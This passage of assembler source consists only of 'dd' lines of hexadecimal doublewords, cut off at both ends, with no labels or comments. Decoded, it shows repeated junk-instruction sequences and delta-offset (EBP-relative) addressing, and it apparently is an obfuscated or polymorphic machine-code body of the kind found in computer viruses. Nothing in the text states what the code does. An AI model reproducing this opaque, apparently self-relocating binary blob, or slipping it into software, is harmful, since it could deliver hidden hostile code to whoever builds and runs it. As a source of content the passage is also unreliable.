1D04h, 0C3564600h, 8B5DEFFDh dd 0A418B1EAh, 0BF66F113h, 8E9C325h, 77000000h, 3AE1C61h dd 8311DBF9h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 50948EC3h, 0E9240489h, 13h, 0AD13114h dd 530F785h, 49ED74B4h, 74716991h, 8B002E68h, 4D2A95B5h dd 66006A06h, 6A5A7DBEh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0F8B70FEAh, 5A43BE66h dd 114995FFh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0D0AAD9C3h, 3DCF8166h, 139D8D80h dd 6A06509Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 9395C355h, 6BEA0526h, 6850F9Dh dd 31000000h, 4D03058Dh, 1D3FF06h, 4D2029B5h, 1585FF06h dd 6A064D18h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 9E7CC355h, 31BD8B99h, 0E9064D29h dd 73Bh, 0E8h, 0ED815D00h, 650F41Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0E1C35141h, 0E1BD8114h, 0D0064D29h dd 0F000007h, 14286h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 8CE0C462h, 8B55F2B0h dd 4D0C3D9Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 4813CDDAh, 33FBB70Fh, 4D2551BDh dd 0E38106h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 7D2CC357h, 0F68E8DA6h dd 0FDB0BB9h, 3D85h, 0F9B58B00h, 8B064D1Dh, 4D1F19B5h dd 0F1BD8306h, 650F1h, 0B840Fh, 4FE90000h, 8B000000h, 4D2AA1BDh dd 0F185C706h, 10650F1h, 66000000h, 294EDDBEh, 4D2A15B5h dd 30E906h, 85C70000h, 650F1F1h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CFC35242h dd 0E6BF9E6Ah, 2B31B52Bh, 9D8D064Dh, 64D0C3Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 49DF13CAh dd 0F78B6693h, 0FEFF2381h, 6AFFFFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0F281CC3h dd 0BDBD8B44h, 66064D23h, 0C3F6DB8Ch, 55840F04h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0FFC7C357h, 4D102D95h, 71A2BE06h, 8B9052C2h dd 8B6650F7h, 6A90F0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 13FDE9C3h, 0BE33A4B8h, 15875136h dd 322E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0E96427F9h, 0B58B5378h, 64D13A1h dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 6A58D6C3h, 33C63771h, 70E64247h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 43C35545h, 1845BD89h dd 0E4FC064Dh, 0FF38B71h, 0B58BD8B6h, 64D1F0Dh, 6BAh, 0F1D78100h dd 8B05F6DFh, 0A9BD8BC3h, 0C1064D10h, 0EE804E8h, 61000000h dd 0AB2903DEh, 98489A33h, 0ADB964B7h, 11820FE4h, 0E9000000h dd 0Ch, 0FD75EEBh, 0EC40F21Dh, 0A35B72EFh, 0F766F55Eh dd 25BD89E2h, 8B064D07h, 4D2CA9BDh, 29D82B06h, 4D312185h dd 1C895006h, 68A0F24h, 89000000h, 4D0B91BDh, 0E1B5FF06h dd 6A064D29h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0D0AFC352h, 2960636Bh, 4D0C6195h dd 0C0C98106h, 6120D1A2h, 51195FFh, 8166064Dh, 0B0212ACFh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0D8C67AA5h, 6464746Dh, 0F70E654h, 1082h dd 0BE900h, 2B3B0000h, 6A9178C7h, 0B66C6360h, 0E871E470h dd 11h, 69039EA6h, 0CAE63B43h, 0DF06C15Ah, 21DA2582h, 613C5E80h dd 19D830Fh, 8D890000h, 64D2685h, 6AD8B60Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0E34DC350h, 4CE3CA79h, 1FBEB602h, 1509BD03h, 6BA064Dh dd 9000000h, 4D0BD995h, 8BC38B06h, 4D2F35B5h, 4E8C106h dd 68B0Fh, 8D310000h, 64D0C19h, 89E2F766h, 4D0AE995h, 58D82B06h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h dd 10ADBD31h, 0B4BF064Dh, 2B33371Ah, 0C880FD8h, 66000001h dd 7B9F18Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0AFE5C356h, 0C1835E50h dd 0AE800h, 0CE410000h, 7624D5Ah, 0A3692372h, 60DB58Bh dd 3B5E064Dh, 0C4860FD9h, 8B000000h, 4D1F2DBDh, 0D98C6606h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h dd 8DBC41C3h, 51A859BCh, 0B5035EF8h, 64D3089h, 0F04C1F6h dd 7E84h, 0F08B6600h, 102D95FFh, 39BF064Dh, 5B547F93h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 99C35545h dd 66319586h, 2BB0B1BEh, 0E0BF66C3h, 45958980h, 3D064D24h dd 834h, 35860Fh, 0B5230000h, 64D2BE9h, 32E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 53BEA2E2h, 0F25B589h, 8166064Dh, 8B4A26F6h, 0C5BD8BC0h dd 8B064D22h, 8BD88BC3h, 4D1521BDh, 0E985C706h, 0FF064D2Dh dd 6A34C8EFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E90DC355h, 0Fh, 3E4C1F76h, 0E54B0E06h dd 80CC5743h, 8B32B8A1h, 4D06B5B5h, 6AC08B06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 4A4CC353h, 8E3F942Ah, 850970D0h, 64D0B61h, 29E1BD81h dd 7D0064Dh, 850F0000h, 12h, 16399509h, 85FF064Dh, 64D29E1h dd 3141B58Bh, 0B5FF064Dh, 64D29E1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 4DC35040h, 336F8A5Ah, 770D701Eh dd 2329BD23h, 0B70F064Dh, 1195FFF6h, 6A064D05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0FBCC355h, 1789h, 12E900h, 4D2A0000h, 95195A32h, 0D644025Ah dd 6C2E7C34h, 0E22247D3h, 0B58B5190h, 64D03F1h, 6830F5Eh dd 8B000000h, 4D2FB5B5h, 26BE6606h, 19D89A5h, 6A064D15h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0BB5CC352h, 0E19D899Eh, 29064D1Eh, 4D147DB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 6A0792h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0A62612C3h, 9C0CB6A0h, 0FF88B9Ah dd 13E9F7B7h, 0FB000000h, 0E1BDC699h, 5BB830B4h, 24273911h dd 0B6684C11h, 0BD8BBA44h, 64D2B65h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 80C35646h, 8166E65Dh, 8B02D5EEh dd 1F830FF1h, 0E9000000h, 14h, 0EAA4411Bh, 7EB556D4h, 52B6CE25h dd 0BCDA8EE9h, 9606167Ch, 30319D29h, 0E860064Dh, 0Fh, 3FE4CBF0h dd 0F0E611DEh, 12CDF357h, 299F6A06h, 4D10D18Dh, 0C7815906h dd 7A49D6E4h, 1B99BD89h, 0BF0F064Dh, 0CDE961DFh, 89FFFFF8h dd 4D06E5BDh, 8BF28B06h, 0BD8B56C1h, 64D030Dh, 4EB5Eh dd 89000000h, 4D32D5B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0B8D52C60h, 8F0F8686h dd 6, 14158D29h, 858D064Dh, 64D0735h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 38C35141h, 0A91EAAA7h, 0E428CE81h dd 0BF900440h, 0FDB3F47h, 810F5350h, 2, 905FFA8Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h, 1A4B35BFh dd 2015C6C1h, 0F1B70F51h, 0E9006A5Eh, 0Dh, 12FC178Bh, 0BCBB4ABFh dd 7635C04Fh, 0AE920h, 829F0000h, 9EA36365h, 41309F6h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 66E730C3h, 858DF18Bh, 650FD3Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 86C35141h, 0BE3E3448h dd 5205C083h, 0A899D01h, 8B5E064Dh, 4D261DBDh, 50519006h dd 0F5F5652h, 10E831h, 1E130000h, 603D7150h, 0CAC985FCh dd 0A2727453h, 5A5EA9AEh, 66505E58h, 6A90FE8Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 6B2FC357h, 18481A60h, 0BCAADD85h, 3ACE8166h, 0E5BD23CDh dd 6A064D03h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 9517072h, 0D300FD4h, 0F3B70FB7h dd 8D0F006Ah, 6, 6ADB58Bh, 95FF064Dh, 64D1149h, 0BE4FEF81h dd 9D8D2D35h, 6509A13h dd 2CD9BD33h, 0D3FF064Dh, 0C860Fh, 810F0000h, 6, 1F958D01h dd 85FF064Dh, 64D1815h, 0A59BD8Bh, 6CE9064Dh, 0E8000008h dd 0 dd 46ED815Dh, 6A0650FDh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 9E7EC357h, 0E1BD81EBh dd 0D0064D29h, 0F000007h, 1B586h, 4ED68100h, 8B623CBFh dd 4D32819Dh, 0B9666006h, 9D8B8B1Ah, 64D2E6Dh, 0FABF0F61h dd 100E381h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 72DF76C3h, 0A830Fh, 860F0000h, 4 dd 20EFBE66h, 850FDB0Bh, 0D1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0BCC35242h, 0AE10C602h, 0BD8B84EFh dd 64D1B55h, 5DBD83F9h, 650FBh, 58840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 76E494C3h, 8E871h, 71390000h, 0B0739AA4h, 81669393h dd 5E298ECEh, 0A0E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0DD199229h, 85C7FC56h dd 650FB5Dh, 1, 0E8F78B66h, 6, 0E9DCB85Bh, 0B70F93A0h dd 5EE95EF3h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0BFD0C355h, 0E380FE38h dd 5D85C7F9h, 650FBh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 753C352h, 0EE924DDh dd 0BA000000h, 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 819D8D3Eh dd 6A064D32h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0FFA5C353h, 20175F1Fh, 0AE37696Fh dd 1BDDBD31h, 0FE9064Dh, 0E6000000h, 0C4FE940Bh, 2BE909FCh dd 76E00EADh, 23813625h, 0FFFFFEFFh, 2499B58Bh, 8C66064Dh dd 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0A071FDA7h, 0B857CF8Bh, 0C3F60798h, 9D840F04h dd 8B000000h, 4D158DB5h, 2D95FF06h, 6A064D10h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0BE1CC355h, 0CBE80E25h, 7E9977Ch, 0AC000000h, 0B5CD1C2Eh dd 0E8909A23h, 5, 172511AFh, 59BE66A6h, 60505E74h, 0CE9h dd 3A629E00h, 747FEBE6h, 0BC8917CEh, 0EE860B5h, 85000000h dd 0B3B601E4h, 2D3E9505h, 88256831h, 61615E05h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 49A7ADBAh, 95898FCBh, 64D0F11h, 3B4E9h, 0E9B58900h dd 0B0064D2Ah, 44FFBE00h, 70E63D6Fh, 1B71BD0Bh, 71E4064Dh dd 0AEEE8166h, 0D8B60FFAh, 0E99D8960h, 0E9064D0Dh, 12h dd 0B57EC520h, 2E805396h, 49ACF3A8h, 0E2FB7992h, 0BA6160C4h dd 6, 2FF5B589h, 0C38B064Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 10C35747h, 0E8C19FECh, 66FB8B04h dd 9C1BE781h, 6AE2F766h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0C769C351h, 0E6FC781h dd 0D82B71F3h, 0EE8h, 2CBD5300h, 0E045FCA0h, 8BBDC007h dd 0E953568Ah, 0Eh, 69F7D471h, 0C61FB0AFh, 8257496Bh, 8B5FD7EDh dd 2ABF50F1h, 896FA000h, 6057241Ch, 0FE8F18Bh, 71000000h dd 4733C637h, 63FC1642h, 0E30EEEA8h, 61581870h, 0E1B5FF5Eh dd 6A064D29h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 707BC352h, 9D89B8E0h, 64D3209h dd 51195FFh, 0B50B064Dh, 64D2A1Dh, 6A00B0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 66463BC3h dd 562EF81h, 852970E6h, 64D2C81h, 8E971E4h, 4B000000h dd 7AE807F8h, 81AD642Bh, 0B0AAA8F7h, 0F613C5Bh, 24C83h dd 0E5B52B00h, 0F064D0Eh, 6AD8B6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 348606C3h, 6BA492Ch dd 9000000h, 4D0DA5B5h, 6AC38B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 88EC353h dd 6DB9BF66h, 0E904E8C1h, 7, 0D95E153Ch, 66476B64h, 6AE2F7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 8615B4C3h, 9F112919h, 14E9994Eh, 88000000h, 694720BFh dd 0D45E569Fh, 7E4356BAh, 9C9CCEABh, 0F6E620Ah, 8D01F1BFh dd 64D2BADh, 0BD33D82Bh, 64D1F3Dh, 5E9h, 0F707DD00h, 6A58B4C2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0A372C352h, 0B510931Fh, 4B2E3588h, 2ED8D09h dd 0D82B064Dh, 157880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0ECE685C3h, 0BF665015h dd 0B95E914Dh, 7, 2289B58Bh, 0C183064Dh, 8840F00h, 50000000h dd 0B258D89h, 3B5F064Dh, 0E860FD9h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 1A3EC356h, 0E9858946h, 66064D31h, 6AD98Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 66A5C1C3h dd 0F68BF2BEh, 840F04C1h, 0B5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0BBC35545h, 1EF51E9Eh, 459A2E82h dd 102D95FFh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 247730C3h, 77729361h, 0FE876h, 7F3B0000h dd 7B6ADA04h, 0F015D6F7h, 0F25F14ACh, 0C781661Ah, 815F9416h dd 813C2CEFh, 6A5B48h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 85DFFFC3h, 7D6E94Ah, 2B5AC126h dd 8BF08BC3h, 8343DF7h, 860F0000h, 11h, 2BADB52Bh, 0EE9064Dh dd 8B000000h, 4D303DBDh, 8BC08B06h, 4D2C75B5h, 8BC38B06h dd 9DB58BD8h, 0F5064D0Bh, 0C3D85C7h, 4F99064Dh, 6A3AC0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0C08B5AC3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0F7C35141h, 793D40A9h, 29E1BD81h, 7D0064Dh, 850F0000h dd 36h, 21C5BD33h, 85FF064Dh, 64D29E1h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 16h, 0E0C35545h, 0B5231DB2h dd 64D0091h, 6FD8D89h, 0B5FF064Dh, 64D29E1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 29C35646h, 9E42ADBEh dd 1195FF06h, 6A064D05h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 55A4C350h, 3A98551Fh dd 6A9064h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 80CE47C3h, 0A4742D13h, 6AF4377Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0F274C357h, 41A19B51h, 72F78166h, 0E9F850CEh, 0Dh, 0D3E49FC7h dd 57077DFFh, 5E20280h, 6A5F6Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 77F89BC3h, 24919D01h dd 0B58B064Dh, 64D15D5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 4FC35141h dd 52E51FE5h, 2531B589h, 895F064Dh, 4D296D85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 66120319h, 9E8F18Bh, 50000000h, 992BC527h, 32138F96h dd 10E9h, 341CE700h, 68866272h, 11B8D620h, 45622B78h, 0B58B5EF6h dd 64D1BE1h, 0FFF79AE9h, 0B19589FFh, 8B064D14h, 0DE9C1h dd 1C770000h, 84C67EE4h, 0D151686Dh, 0EBC1C92Ah, 4, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0BD8BFCEDh, 64D30F9h, 735858Dh, 0BD89064Dh, 64D2B89h dd 0FD59BF50h, 4892884h, 0F6816624h, 6A16E2h, 2911BD03h dd 6A064Dh, 11E9h, 37AAC600h, 0B4655D39h, 22040714h, 0B7C7C0B1h dd 0BD017B9Dh, 64D2619h, 71B858Dh, 95890651h, 64D2F35h dd 1E15B58Bh, 0C083064Dh, 7DBD8B05h, 50064D14h, 6E8h, 0A8EB5900h dd 0E96CEF46h, 0Eh, 0D2514B3Ah, 0BDF9CDB8h, 570F314Ah dd 895EF3F8h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 820FC2C3h, 0 dd 6AFA8Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0A7C35545h, 1C202EC8h, 4A44463Fh, 8B66006Ah, 4995FFF9h dd 6A064D11h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 22A4C355h, 0B99D8956h, 5F064D0Ah dd 9A139D8Dh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BD098EC3h, 64D2EE9h, 0F28BD3FFh dd 1585FFF8h, 1064D18h, 4D16399Dh, 801E906h, 0E80000h dd 5D000000h, 725ED81h, 6A0651h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 56FB4DC3h, 0FF35B22h dd 58Eh, 0D58DBF00h, 0BD810684h, 64D29E1h, 7D0h, 136860Fh dd 9D8B0000h, 64D2485h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0F7C35242h, 2CBFE651h, 8172306Eh, 100E3h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0FE8BE15Dh, 5E956h, 5D6C0000h, 5FF4A5BAh dd 850FDB0Bh, 6Dh, 0B880Fh, 6E90000h, 0D4000000h, 78454407h dd 0C3BD833Fh, 65105h, 10840Fh, 81660000h, 0E917C1EEh dd 72h, 10C98589h, 85C7064Dh, 65105C3h, 1, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 89C35343h, 810FA255h dd 6, 15319D89h, 33E9064Dh, 81000000h, 431E75E6h, 0C385C75Ch dd 65105h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 7042C350h, 22648A01h, 9D8D15D1h dd 64D2485h, 0FAE68150h, 5E4C8653h, 0FEFF2381h, 6AFFFFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 1CFBE3C3h, 1BF9C308h, 0FCBB2A5Bh, 0FDB8C66h, 0C3F6F1B7h dd 5B840F04h, 66000000h, 8A0FF88Bh, 6, 23BD9D89h, 95FF064Dh dd 64D102Dh, 1A5FC681h, 51500060h, 0CE9h, 3299BF00h, 724ED64Eh dd 0E4044E4h, 4895E5Dh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 21DA2582h, 2C2FEC80h dd 8F85F781h, 5E941E2h, 8B000004h, 4D0CA1B5h, 6A00B006h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0B9C5C351h, 0E83AC46Ch, 70E6FB8Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h, 0E4FA8BEBh dd 53006A71h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 57922707h, 0B60F2665h, 50006AD8h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD8BEC42h, 64D1B45h, 6BAF28Bh, 60000000h, 0D65BD89h dd 160064Dh, 4D0C2195h, 0C5850906h, 61064D0Fh, 0E9C38B61h dd 8, 14031B01h, 38605904h, 6A04E8C1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0B08AC351h dd 0D71A2960h, 1C5DB589h, 8951064Dh, 4D0E7585h, 0F7665F06h dd 50006AE2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 5BD5A1E7h, 2B66681Ch, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 7BBF5092h dd 894FCC0Dh, 6A241Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FF0596C3h, 4D29E1B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0F758F28h, 38Ah, 0FE8B6600h, 51195FFh, 6A064Dh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 81606CC3h, 0FA0A44C2h, 0F98B6632h, 5E95161h, 0B5000000h dd 4B2E3588h, 0BE00B05Eh, 40547F7Eh, 0F18B70E6h, 6A71E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 3374D2C3h, 0F64B98Dh, 613CF3B7h, 20A830Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 9529C2C3h, 64D0691h, 5890Fh, 13BF0000h, 0F07E03Fh, 0F51D8B6h dd 0BA5FFABFh, 6, 0CA4ABF66h, 0B58BC38Bh, 64D1F81h, 6604E8C1h dd 0BD01E2F7h, 64D3081h, 0F60D82Bh, 61F8F1BFh, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0BF2C6585h, 3D639E10h, 880FD82Bh, 184h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DC35343h, 883B5D1Fh dd 0B52BDCCBh, 64D2E59h, 7B9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 908B1336h dd 0C183ACh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 8EC35242h, 0A31F73F7h, 850903FAh, 64D1051h, 860FD93Bh dd 104h, 0DFDBD89h, 8C66064Dh, 51006AD9h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 668C0E41h dd 0B52B3E97h, 64D317Dh, 0F04C1F6h, 0A784h, 0BFBB6000h dd 665946F5h, 61DA3BBEh, 267DB58Bh, 95FF064Dh, 64D102Dh dd 0DE8h, 496DF700h, 0EE33BF11h, 5E87B0A7h, 0CE81A61Bh dd 1BAF550Ah, 89605B5Eh, 4D27098Dh, 61F28B06h, 0FDBD8B52h dd 5F064D15h, 6AC32Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 9465AC3h, 4D2F55BDh, 0ADB58B06h dd 3D064D21h, 834h, 2E860Fh, 66520000h, 0E95EFE8Bh, 48h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9C35242h dd 0CD6A9CFCh, 0F78B6623h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0E73C54C3h dd 0FC9674C7h, 0D88BC38Bh, 22BDB58Bh, 85C7064Dh, 64D3281h dd 31E0E5F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 81C35343h, 12396217h, 89AD28DAh, 4D033D95h, 0FDBD8B06h dd 8B064D31h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 58CAAC9Eh, 0DAE867AEh, 0BD814416h dd 64D29E1h, 7D0h, 43850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D5DC64C3h dd 0E81A00A8h, 0CE9h, 0AF283C00h, 0CB8056B9h, 0BB4E91D4h dd 83BE6670h, 0E185FFAAh, 23064D29h, 4D306DBDh, 0E1B5FF06h dd 29064D29h, 4D0C5185h, 1195FF06h, 6A064D05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0FC7CC356h, 0AE0CA881h, 90388473h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 81C35646h, 6AE4D8D7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 4C21C353h, 9D89FC18h, 64D1039h, 8D29F38Bh, 64D30A5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 90C35545h dd 4BB70585h, 0EE9F9h, 704C0000h, 0B0FEE8ABh, 36A02634h dd 0D4688AFDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 42C35646h, 0DDFAFD66h dd 30F22DF9h, 9D0153B6h, 64D203Dh, 10E95Eh, 52C30000h dd 2D03C2F4h, 0B14E6724h, 0DC22B134h, 0BD8B717Bh, 64D1009h dd 1E75FFBFh, 39D68110h, 6A452187h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 82CC352h dd 0F2633E73h, 0B70FCB56h, 15BD8BF2h, 60064D21h, 65B5D08Bh dd 16194B0h, 4D309595h, 0F808E906h, 0BD8BFFFFh, 64D2B21h dd 8BF28B66h, 0EBF18BC1h, 4, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0CD9D89ADh dd 6A064D02h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 7F85C355h, 29CA456Eh, 4D0F0DBDh dd 35858D06h, 9064D07h, 4D0DD5B5h, 0F18B9006h, 0FE8B6650h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 406A71C7h, 79193634h, 0CE8F0h, 36790000h dd 6608E914h, 3F512E1Bh, 11E83525h, 1A000000h, 0FA90E9ECh dd 0E544A7F2h, 5CF0E5A6h, 0A71181F7h, 2945BD03h, 5F5E064Dh dd 0FE960h, 9D6B0000h, 0F98C3707h, 0EE2D55Eh, 9141DE2Fh dd 0F6B70F91h, 6A006A61h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2121C356h, 0B806503Dh dd 0FE8F621h, 98000000h, 0E1140ED9h, 56E474EDh, 8EB7A245h dd 0BD09A5D8h, 64D0A6Dh, 9E95Fh, 541A0000h, 0CFE29CF4h dd 6A177FC4h, 3DBD8B00h, 8D064D1Bh, 51110685h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 